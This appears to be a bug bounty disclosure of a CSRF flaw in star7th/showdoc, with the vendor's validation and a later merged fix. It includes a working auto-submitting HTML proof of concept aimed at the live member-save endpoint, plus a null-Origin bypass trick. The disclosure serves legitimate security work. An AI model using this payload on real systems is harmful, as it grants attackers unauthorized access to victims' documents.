Cross-Site Request Forgery (CSRF) in star7th/showdoc

Valid

Reported on

Sep 6th 2021


✍️ Description

With CSRF vulnerability Attacker able to add any member to for any item if users visit attacker website.

We can bypass the CSRF Protection if we put our payload on a iframe or a html file and send them to victim as after that the Origin header will be set to null and we can bypass CSRF protection.

🕵️‍♂️ Proof of Concept

1.Open the PoC.html In Firefox or safari.

2.now you can check that member with email address test that already should registered before have access to item with id 1531601670203340.

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.showdoc.com.cn/server/index.php?s=/api/member/save" method="POST">
      <input type="hidden" name="item&#95;id" value="1531601670203344" />
      <input type="hidden" name="username" value="test" />
      <input type="hidden" name="cat&#95;id" value="0" />
      <input type="hidden" name="member&#95;group&#95;id" value="0" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

💥 Impact

This vulnerability is capable of reveal any item.

Fix

Set SameSite attribute of cookies to Lax or Strict.

We have contacted a member of the star7th/showdoc team and are waiting to hear back 3 months ago
star7th validated this vulnerability 3 months ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
Jamie Slome
3 months ago

Admin


Same here! Once we have an opportunity, can we confirm a fix, and we will publish the CVE with the patch.

star7th confirmed that a fix has been merged on 67093c a month ago
star7th has been awarded the fix bounty